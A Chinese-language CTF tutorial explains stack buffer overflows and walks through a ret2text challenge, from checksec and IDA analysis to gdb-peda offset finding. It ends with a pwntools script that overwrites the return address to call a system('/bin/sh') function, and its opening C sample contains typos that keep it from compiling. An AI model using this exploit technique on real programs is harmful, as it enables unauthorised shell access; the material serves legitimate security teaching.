因为程序本身没有正确检查输入数据的大小,造成攻击者可以输入比buffer还要大的数据,使得超出部分覆盖程序的其他部分,影响程序执行。
# include <stdio.h>
chr name[50]; //设置name变量,大小为50个字节
int main(){
setvbuf(stdout,0,2,0);
printf("Name:");
read(0,name,50); //读取50个字节到name
char buf[20]; //设置buf变量,大小为20个字节
printf("Try your best:");
gets(buf); //读取用户输入到buf(不限长度)
return;
}
从上面代码我们可以看出,read()函数限定了接收数据的字节数,并没有造成溢出,但是gets()函数没有限制接收数据的大小,若用户输入大于20个字节的数据,就会造成溢出。
又称stack smashing,专指在stack上的Overflow,利用方式简单,可直接覆盖return address和控制参数,不管是什么漏洞,如果能找到stack overflow,之后就是标准动作了。
gets;scanf;strcpy;sprintf;memcpy;strcat……
Return to text,控制程序的返回地址到原本程序中的函数(代码)。
例如程序中有类似function:
就可以跳转到这个function,function的地址可以通过objdump或者ida来查找。
先将题目拷贝到之前搭建好的pwn环境中,然后使用file和checksec命令查看题目信息。
$ file ./ret2text
$ checksec ./ret2text
运行一下程序,了解程序的大概流程
将程序扔到ida pro中分析
看到左侧函数窗口中有vuln()函数,双击进入
双击&buf,查看buf大小
我们看到buf的大小为1C+4,换算成10进制为32
但是read()函数可以读入的大小为50,那么这里很明显存在栈溢出
我们继续看左侧函数窗口,发现shell()函数,双击进入
shell()函数中我们发现了 system(“/bin/sh”)
也就是说我们调用shell()函数会给我们返回一个shell
将程序导入gdb
$ gdb ./ret2text
输入r或者run,将程序运行起来
当提示我们输入的时候,按ctrl+c将程序中断
我们会看到这样一个界面,在终端输入
gdb-peda$ pattern create 100
工具会自动帮我们生成一个100长度的字符串
我们将字符串复制,并输入c敲回车,继续运行程序
将复制的字符串粘贴,并回车
我们看到程序又被中断了,并且在DISASM窗口中提示Invalid address 0x41412941,程序的返回地址被我们的字符串覆盖了。
第三篇我们讲过,EIP寄存器为指令寄存器,指向处理器下条等待执行的指令地址,正常情况当程序运行完当前函数EIP应该指向返回地址,并跳转到返回地址继续执行,我们看EIP寄存器的值为0x41412941,对应字符为“A)AA”,正是我们输入字符串中的字符。
也就是说,我们找到“A)AA”在字符串中的位置,输入前面那些字符,并将“A)AA”替换成一个函数地址,那么当程序执行完当前函数,就会跳转到我们输入的函数地址继续执行。
联想到我们之前找到的shell函数,我们将返回地址替换成shell函数的地址,那么程序执行完当前函数就会给我们返回一个shell。
我们可以通过pattern工具直接算出“A)AA”在字符串中的位置
gdb-peda$ pattern offset 0x41412941
我们计算出偏移量为32。
接下来我们就可以构造我们的payload了。
from pwn import *
r = process('./ret2text')
padding = 32
shell_addr = 0x0804851d
payload = 'a' * padding
payload += p32(shell_addr)
r.sendline(payload)
r.interactive()